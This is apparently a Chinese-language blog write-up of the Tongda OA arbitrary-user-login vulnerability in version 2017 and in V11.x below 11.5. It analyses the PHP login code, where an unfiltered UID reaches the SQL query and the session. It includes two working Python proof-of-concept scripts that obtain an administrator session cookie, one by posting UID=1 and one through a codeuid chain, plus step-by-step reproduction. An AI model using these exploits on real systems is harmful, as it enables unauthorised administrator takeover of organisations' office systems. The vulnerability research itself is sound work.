漏洞概述
通達OA是一套國內常用的辦公系統,其此次安全更新修復的高危漏洞為任意用戶登錄漏洞。攻擊者在遠程且未經授權的情況下,通過利用此漏洞,可以直接以任意用戶身份登錄到系統(包括系統管理員)。
影響版本
通達OA 2017
通達OA V11.X<V11.5
環境搭建
exe直接搭,自己指定目錄,2017版本,V10.13
漏洞復現
使用poc獲取session
訪問/general/index.php並替換PHPSESSID
就直接成功登陸管理員賬戶了
一些廢話
看了下poc,2017的v10版本和v11.x版本再漏洞點上是有區別的。
之前不太了解OA系統,然后源代碼是看不了的,打開是亂碼,16進制數據頭是Zend
百度發現是通過Zend的加密方式,了解了下Zend引擎。
網上找了下解密的,都是太老的了,沒用。
噢?在最后看了一些OA代碼審計的,找到幾個解密的。明天整起來
如果想看下分析的話可以看下Q1ngShan師傅寫的
https://www.evi1s.com/archives/194/
漏洞分析
2017_第一種
這里就分析下V10.13的
2017 V10.13版本中/logincheck_code.php也存在問題
直接獲取POST UID參數,並且沒有任何過濾,直接帶進SQL語句查詢
$query = "SELECT * from USER where UID='$UID'";
分析都是說UID為1是admin,這里進入mysql5目錄,查看my.ini獲取密碼
進入TO_OA數據庫,查詢上述語句,查看結果
確實是admin,管理員用戶。接着回到logincheck_code.php
172行-178行的賦值
$LOGIN_UID = $UID; $LOGIN_USER_ID = $USER_ID; $LOGIN_BYNAME = $BYNAME; $LOGIN_USER_NAME = $USERNAME; $LOGIN_ANOTHER = "0"; $LOGIN_USER_PRIV_OTHER = $USER_PRIV_OTHER; $LOGIN_DEPT_ID_JUNIOR = GetUnionSetOfChildDeptId($LOGIN_DEPT_ID . "," . $LOGIN_DEPT_ID_OTHER); $LOGIN_CLIENT = 0;
都是上面24行開始,sql查詢返回的數據
180行-196行,將上述賦值的變量傳入SESSION中
也就是當我們在logincheck_code.php中POST傳入UID=1
經過logincheck_code.php的SQL查詢操作,直接將返回admin認證的SESSION到當前的SESSION中
這時可以帶着當前的SESSION到/general/index.php中,直接是admin管理員用戶。這個如果看了上Q1ngShan的分析,可以發現11.3也存在這樣的問題。11.4中logincheck_code.php增加了驗證機制,不夠也可以繞過。后面在分析。
poc:
#來自Q1ngShan
import requests import json headers={} def getV11Session(url): checkUrl = url+'/general/login_code.php' print(checkUrl) try: headers["User-Agent"] = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)" getSessUrl = url+'/logincheck_code.php' res = requests.post( getSessUrl, data={ 'UID': int(1)},headers=headers) print('[+]Get Available COOKIE:'+res.headers['Set-Cookie']) except: print('[-]Something Wrong With '+url) if __name__ == "__main__": getV11Session("http://xxxxx/")
同樣適用於v11.3
2017_第二種
可以看到Space師傅寫的2017的poc中並沒有用這種方式
問題在/ispirit/login_code_check.php上
和上面的根目錄中的logincheck_code.php基本是一樣的,只不過換了一些參數,還是直接將UID帶入sql查詢,但是這里UID並不是直接POST,而是需要將獲得的codeuid經過一系列操作,然后賦值給UID
也就是說,如果我們get傳入合適的codeuid,並且令$code_info[‘uid’]的值為1,呢么經過上面的驗證到達SQL查詢,然后返回的就是admin的相關參數,傳入session中,這時的session認證后就是admin用戶了。
這里經過了兩個TD:get_cache才能進入的判斷,第一個是CODE_LOGIN_PC,第二個是CODE_INFO_PC
這里我們搜索一下CODE_INFO_PC
在/general/login_code_scan.php中可利用的點
這里我差點搞混了,v10.13和v11.4在logincheck_code上是不一樣的。差點搞混了。
到這里后,這里應該是倒數第三步,在這里我們需要輸入一個codeuid,經過TD::set_cache后的codeuid就可以用在/ispirt/logincheck_code.php上,然后再寫繞過判斷寫入SESSION,最后拿到的SESSION就是admin用戶的了。
這里需要一步,如何拿到codeuid,因為看上文就可以看到,codeuid並不是隨便輸入的,是有特定的序列的。
我們在/ispirt/login_code.php中可以找到產生一個特定的codeuid
這一步步其實都是反推來的。
梳理下流程是這樣的:
- 進入
ispirit/login_code.php
獲取codeuid
- 使用獲取的
codeuid
進入general/login_code_scan.php
設置type為confirm
- 使用
codeuid
進入ispirit/login_code_check.php
獲得一個唯一的codeuid
經過TD::set_cache處理后的codeuid
admin相關認證數據寫入session,帶着這個session訪問/general/index.php,就是admin管理用戶
poc:
#來自Q1ngShan import json import requests def getSession(url): vulUrl = url+'/ispirit/login_code.php' res = requests.get(vulUrl) codeuid = json.loads(res.text)['codeuid'] print(codeuid) confirmUrl = url + '/general/login_code_scan.php' data = { 'codeuid':codeuid, 'uid': int(1), 'source': 'pc', 'type': 'confirm', 'username': 'admin', } res = requests.post(confirmUrl,data=data) status = json.loads(res.text)['status'] print(status) if status == str(1): seesionUrl = url + '/ispirit/login_code_check.php?codeuid='+codeuid res = requests.get(seesionUrl) print('[*]cookie:'+res.headers['Set-Cookie']) else: print('[-]failed') if __name__ == "__main__": getSession('http://xxxx/')
同樣適用於V11.4
環境:
2017 v10.13
鏈接:https://pan.baidu.com/s/1PyA3PI3BvCvX2fx-4tjagw
提取碼:7ac0
v11.4
https://cdndown.tongda2000.com/oa/2019/TDOA11.4.exe